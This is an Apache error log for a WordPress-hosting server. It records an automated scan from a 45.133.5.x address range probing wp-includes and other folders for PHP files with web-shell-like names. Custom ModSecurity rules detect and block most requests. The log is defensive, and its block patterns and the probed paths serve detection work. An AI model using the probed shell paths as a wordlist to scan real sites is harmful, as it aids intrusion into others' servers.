[Sat Apr 18 20:57:28.471602 2026] [:error] [pid 34288:tid 34294] [client 45.133.5.189:39777] [client 45.133.5.189] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/bypass.php"] [unique_id "aeN_uOTIiy__PtiLmpnV0wAAAYI"]
[Sat Apr 18 20:57:28.517581 2026] [:error] [pid 32677:tid 32700] [client 45.133.5.172:54529] File does not exist: /usr/local/apache/htdocs/suspended-page/radio.php
[Sat Apr 18 20:57:28.579135 2026] [:error] [pid 32677:tid 32690] [client 45.133.5.172:54529] [client 45.133.5.172] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.133.5.172, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/midnight/wp-login.php"] [unique_id "aeN_uBngmUE3LdC-wP7dcAAAAko"]
[Sat Apr 18 20:57:28.605085 2026] [:error] [pid 32677:tid 32683] [client 45.133.5.172:54529] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-conflg.php
[Sat Apr 18 20:57:28.625303 2026] [:error] [pid 32677:tid 32693] [client 45.133.5.172:54529] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-setup.php
[Sat Apr 18 20:57:28.644551 2026] [:error] [pid 32677:tid 32696] [client 45.133.5.172:54529] File does not exist: /usr/local/apache/htdocs/suspended-page/ms-themes.php
[Sat Apr 18 20:57:28.661183 2026] [:error] [pid 32677:tid 32680] [client 45.133.5.172:54529] [client 45.133.5.172] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "aeN_uBngmUE3LdC-wP7ddAAAAkA"]
[Sat Apr 18 20:57:28.703934 2026] [:error] [pid 32678:tid 32728] [client 45.133.5.181:44021] File does not exist: /usr/local/apache/htdocs/suspended-page/style.php
[Sat Apr 18 20:57:28.719770 2026] [:error] [pid 32678:tid 32715] [client 45.133.5.181:44021] [client 45.133.5.181] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/infi.php"] [unique_id "aeN_uBUlAXU_ZWUu5y_5vwAAAog"]
[Sat Apr 18 20:57:30.193986 2026] [:error] [pid 9970:tid 9977] [client 45.133.5.202:25677] File does not exist: /usr/local/apache/htdocs/suspended-page/x.php
[Sat Apr 18 20:57:30.209974 2026] [:error] [pid 9970:tid 9984] [client 45.133.5.202:25677] [client 45.133.5.202] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "aeN_uiYdRLRhVmaIMx27MwAAAMo"]
[Sat Apr 18 20:57:30.287828 2026] [:error] [pid 9970:tid 9991] [client 45.133.5.167:55947] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-user.php
[Sat Apr 18 20:57:30.305964 2026] [:error] [pid 9970:tid 9974] [client 45.133.5.167:55947] [client 45.133.5.167] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/pomo/about.php"] [unique_id "aeN_uiYdRLRhVmaIMx27NwAAAMA"]
[Sat Apr 18 20:57:30.339713 2026] [:error] [pid 9970:tid 9997] [client 45.133.5.165:55075] [client 45.133.5.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/pomo/index.php"] [unique_id "aeN_uiYdRLRhVmaIMx27OQAAANc"]
[Sat Apr 18 20:57:30.377394 2026] [:error] [pid 32678:tid 32723] [client 45.133.5.181:65179] File does not exist: /usr/local/apache/htdocs/suspended-page/config.php
[Sat Apr 18 20:57:30.408375 2026] [:error] [pid 32678:tid 32721] [client 45.133.5.181:65179] File does not exist: /usr/local/apache/htdocs/suspended-page/special.php
[Sat Apr 18 20:57:30.586606 2026] [:error] [pid 32678:tid 32725] [client 45.133.5.181:65179] [client 45.133.5.181] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "aeN_uhUlAXU_ZWUu5y_5xQAAApI"]
[Sat Apr 18 20:57:30.640172 2026] [:error] [pid 9970:tid 9976] [client 45.133.5.216:45081] [client 45.133.5.216] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/certificates/about.php"] [unique_id "aeN_uiYdRLRhVmaIMx27PAAAAMI"]
[Sat Apr 18 20:57:30.753466 2026] [:error] [pid 32678:tid 32710] [client 45.133.5.180:35785] [client 45.133.5.180] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/edit.php"] [unique_id "aeN_uhUlAXU_ZWUu5y_5yQAAAoM"]
[Sat Apr 18 20:57:30.797415 2026] [:error] [pid 9863:tid 9884] [client 45.133.5.179:28839] File does not exist: /usr/local/apache/htdocs/suspended-page/webdb.php
[Sat Apr 18 20:57:30.837730 2026] [:error] [pid 9863:tid 9882] [client 45.133.5.179:28839] File does not exist: /usr/local/apache/htdocs/suspended-page/file2.php
[Sat Apr 18 20:57:30.854660 2026] [:error] [pid 9863:tid 9880] [client 45.133.5.179:28839] [client 45.133.5.179] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/wp-work.php"] [unique_id "aeN_ujjjiypiFrTucbLQcAAAAAc"]
[Sat Apr 18 20:57:30.892396 2026] [:error] [pid 9863:tid 9897] [client 45.133.5.194:64121] File does not exist: /usr/local/apache/htdocs/suspended-page/alfa.php
[Sat Apr 18 20:57:30.945632 2026] [:error] [pid 9863:tid 9876] [client 45.133.5.194:64121] [client 45.133.5.194] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/click.php"] [unique_id "aeN_ujjjiypiFrTucbLQcwAAAAM"]
[Sat Apr 18 20:57:31.038830 2026] [:error] [pid 34290:tid 34336] [client 45.133.5.164:38955] [client 45.133.5.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/random_compat/chosen.php"] [unique_id "aeN_uxqX6WpmmAXOBi8hvgAAAdE"]
[Sat Apr 18 20:57:31.093467 2026] [:error] [pid 32678:tid 32708] [client 45.133.5.214:22611] File does not exist: /usr/local/apache/htdocs/suspended-page/edit.php
[Sat Apr 18 20:57:31.147790 2026] [:error] [pid 32678:tid 32713] [client 45.133.5.214:22611] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-links-opml.php
[Sat Apr 18 20:57:31.194840 2026] [:error] [pid 32678:tid 32730] [client 45.133.5.214:22611] File does not exist: /usr/local/apache/htdocs/suspended-page/atomlib.php
[Sat Apr 18 20:57:31.210777 2026] [:error] [pid 32678:tid 32717] [client 45.133.5.214:22611] [client 45.133.5.214] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/jquery/bypass.php"] [unique_id "aeN_uxUlAXU_ZWUu5y_50gAAAoo"]
[Sat Apr 18 20:57:31.241755 2026] [:error] [pid 32678:tid 32728] [client 45.133.5.203:43719] [client 45.133.5.203] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/xl2023.php"] [unique_id "aeN_uxUlAXU_ZWUu5y_50wAAApU"]
[Sat Apr 18 20:57:31.285322 2026] [:error] [pid 9863:tid 9887] [client 45.133.5.192:26951] [client 45.133.5.192] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/certificates/admin.php"] [unique_id "aeN_uzjjiypiFrTucbLQdAAAAA4"]
[Sat Apr 18 20:57:31.317216 2026] [:error] [pid 9863:tid 9874] [client 45.133.5.190:34297] [client 45.133.5.190] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/media/dog.php"] [unique_id "aeN_uzjjiypiFrTucbLQdQAAAAE"]
[Sat Apr 18 20:57:31.359614 2026] [:error] [pid 32677:tid 32699] [client 45.133.5.222:44687] File does not exist: /usr/local/apache/htdocs/suspended-page/xp.php
[Sat Apr 18 20:57:31.375027 2026] [:error] [pid 32677:tid 32688] [client 45.133.5.222:44687] [client 45.133.5.222] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/applicationd.php"] [unique_id "aeN_uxngmUE3LdC-wP7ddgAAAkg"]
[Sat Apr 18 20:57:31.426534 2026] [:error] [pid 9864:tid 9906] [client 45.133.5.207:42391] [client 45.133.5.207] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aeN_u4CFeowknfXHM7kh9wAAAEE"]
[Sat Apr 18 20:57:31.460742 2026] [:error] [pid 9970:tid 9986] [client 45.133.5.229:50241] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-links.php
[Sat Apr 18 20:57:31.497622 2026] [:error] [pid 9970:tid 9980] [client 45.133.5.229:50241] [client 45.133.5.229] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aeN_uyYdRLRhVmaIMx27PwAAAMY"]
[Sat Apr 18 20:57:31.530087 2026] [:error] [pid 34290:tid 34328] [client 45.133.5.181:21283] [client 45.133.5.181] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "aeN_uxqX6WpmmAXOBi8hvwAAAck"]
[Sat Apr 18 20:57:31.561300 2026] [:error] [pid 9970:tid 9984] [client 45.133.5.177:43553] [client 45.133.5.177] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/pomo/admin.php"] [unique_id "aeN_uyYdRLRhVmaIMx27QAAAAMo"]
[Sat Apr 18 20:57:31.639687 2026] [:error] [pid 9970:tid 9989] [client 45.133.5.181:49505] [client 45.133.5.181] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/IXR/security.php"] [unique_id "aeN_uyYdRLRhVmaIMx27QQAAAM8"]
[Sat Apr 18 20:57:31.691095 2026] [:error] [pid 34290:tid 34330] [client 45.133.5.168:61385] [client 45.133.5.168] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "aeN_uxqX6WpmmAXOBi8hwQAAAcs"]
[Sat Apr 18 20:57:31.763081 2026] [:error] [pid 13023:tid 13027] [client 45.133.5.178:26049] [client 45.133.5.178] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/fonts/about.php"] [unique_id "aeN_u_1e7hG8DAeABB8RFgAAAQI"]
[Sat Apr 18 20:57:31.800336 2026] [:error] [pid 9863:tid 9896] [client 45.133.5.209:57613] File does not exist: /usr/local/apache/htdocs/suspended-page/moon.php
[Sat Apr 18 20:57:31.853495 2026] [:error] [pid 9863:tid 9885] [client 45.133.5.209:57613] File does not exist: /usr/local/apache/htdocs/suspended-page/webadmin.php
[Sat Apr 18 20:57:31.870583 2026] [:error] [pid 9863:tid 9890] [client 45.133.5.209:57613] [client 45.133.5.209] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/about.php"] [unique_id "aeN_uzjjiypiFrTucbLQegAAABE"]
[Sat Apr 18 20:57:31.940768 2026] [:error] [pid 32677:tid 32697] [client 45.133.5.205:38005] File does not exist: /usr/local/apache/htdocs/suspended-page/xl2023.php
[Sat Apr 18 20:57:31.959503 2026] [:error] [pid 32677:tid 32701] [client 45.133.5.205:38005] File does not exist: /usr/local/apache/htdocs/suspended-page/go.php
[Sat Apr 18 20:57:32.048145 2026] [:error] [pid 32677:tid 32691] [client 45.133.5.205:38005] [client 45.133.5.205] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/file.php"] [unique_id "aeN_vBngmUE3LdC-wP7dfgAAAks"]
[Sat Apr 18 20:57:32.152855 2026] [:error] [pid 32677:tid 32694] [client 45.133.5.169:62161] [client 45.133.5.169] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/customize/dedi1.php"] [unique_id "aeN_vBngmUE3LdC-wP7dggAAAk4"]
[Sat Apr 18 20:57:32.185457 2026] [:error] [pid 9865:tid 9937] [client 45.133.5.188:27813] [client 45.133.5.188] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/pomo/autoload_classmap.php"] [unique_id "aeN_vKzb5knECIY-C-iI6wAAAIA"]
[Sat Apr 18 20:57:32.305353 2026] [:error] [pid 9970:tid 9987] [client 45.133.5.171:59567] [client 45.133.5.171] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aeN_vCYdRLRhVmaIMx27RgAAAM0"]
[Sat Apr 18 20:57:32.383565 2026] [:error] [pid 9970:tid 9988] [client 45.133.5.224:39715] File does not exist: /usr/local/apache/htdocs/suspended-page/hehehehe.php
[Sat Apr 18 20:57:32.403021 2026] [:error] [pid 9970:tid 9982] [client 45.133.5.224:39715] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/install.php
[Sat Apr 18 20:57:32.422916 2026] [:error] [pid 9970:tid 9976] [client 45.133.5.224:39715] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/plugins.php
[Sat Apr 18 20:57:32.443378 2026] [:error] [pid 9970:tid 9975] [client 45.133.5.224:39715] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/license.php
[Sat Apr 18 20:57:32.540896 2026] [:error] [pid 9970:tid 9986] [client 45.133.5.224:39715] [client 45.133.5.224] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "aeN_vCYdRLRhVmaIMx27UQAAAMw"]
[Sat Apr 18 20:57:32.572104 2026] [:error] [pid 13023:tid 13033] [client 45.133.5.207:58003] [client 45.133.5.207] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/edit-widgets/index.php"] [unique_id "aeN_vP1e7hG8DAeABB8RFwAAAQg"]
[Sat Apr 18 20:57:32.604439 2026] [:error] [pid 13023:tid 13034] [client 45.133.5.220:31953] [client 45.133.5.220] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/edit-widgets/about.php"] [unique_id "aeN_vP1e7hG8DAeABB8RGAAAAQk"]
[Sat Apr 18 20:57:32.636961 2026] [:error] [pid 13023:tid 13036] [client 45.133.5.179:52569] [client 45.133.5.179] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/src/Exception/Http/about.php"] [unique_id "aeN_vP1e7hG8DAeABB8RGQAAAQs"]
[Sat Apr 18 20:57:32.677487 2026] [:error] [pid 9865:tid 9958] [client 45.133.5.225:46725] [client 45.133.5.225] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/Diff/Renderer/index.php"] [unique_id "aeN_vKzb5knECIY-C-iI7AAAAJU"]
[Sat Apr 18 20:57:32.709567 2026] [:error] [pid 13023:tid 13029] [client 45.133.5.229:28247] [client 45.133.5.229] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/Diff/index.php"] [unique_id "aeN_vP1e7hG8DAeABB8RGgAAAQQ"]
[Sat Apr 18 20:57:32.760518 2026] [:error] [pid 13023:tid 13035] [client 45.133.5.208:54505] [client 45.133.5.208] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/media/index.php"] [unique_id "aeN_vP1e7hG8DAeABB8RHAAAAQo"]
[Sat Apr 18 20:57:32.793194 2026] [:error] [pid 13023:tid 13040] [client 45.133.5.191:23797] [client 45.133.5.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/index.php"] [unique_id "aeN_vP1e7hG8DAeABB8RHQAAAQ8"]
[Sat Apr 18 20:57:32.830858 2026] [:error] [pid 32677:tid 32687] [client 45.133.5.180:39991] [client 45.133.5.180] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/about.php"] [unique_id "aeN_vBngmUE3LdC-wP7dgwAAAkc"]
[Sat Apr 18 20:57:32.865093 2026] [:error] [pid 32677:tid 32690] [client 45.133.5.193:23061] [client 45.133.5.193] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/wp-login.php"] [unique_id "aeN_vBngmUE3LdC-wP7dhAAAAko"]
[Sat Apr 18 20:57:32.941081 2026] [:error] [pid 32677:tid 32680] [client 45.133.5.187:56403] [client 45.133.5.187] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/fonts/themes.php"] [unique_id "aeN_vBngmUE3LdC-wP7dhwAAAkA"]
[Sat Apr 18 20:57:32.992385 2026] [:error] [pid 13023:tid 13048] [client 45.133.5.197:62513] [client 45.133.5.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/certificates/index.php"] [unique_id "aeN_vP1e7hG8DAeABB8RHwAAARc"]
[Sat Apr 18 20:57:33.027183 2026] [:error] [pid 13023:tid 13042] [client 45.133.5.202:50069] File does not exist: /usr/local/apache/htdocs/suspended-page/byp.php
[Sat Apr 18 20:57:33.063944 2026] [:error] [pid 13023:tid 13032] [client 45.133.5.202:50069] [client 45.133.5.202] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/media/wp-login.php"] [unique_id "aeN_vf1e7hG8DAeABB8RIgAAAQc"]
[Sat Apr 18 20:57:33.129571 2026] [:error] [pid 9970:tid 9989] [client 45.133.5.205:23877] [client 45.133.5.205] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/about.php"] [unique_id "aeN_vSYdRLRhVmaIMx27VAAAAM8"]
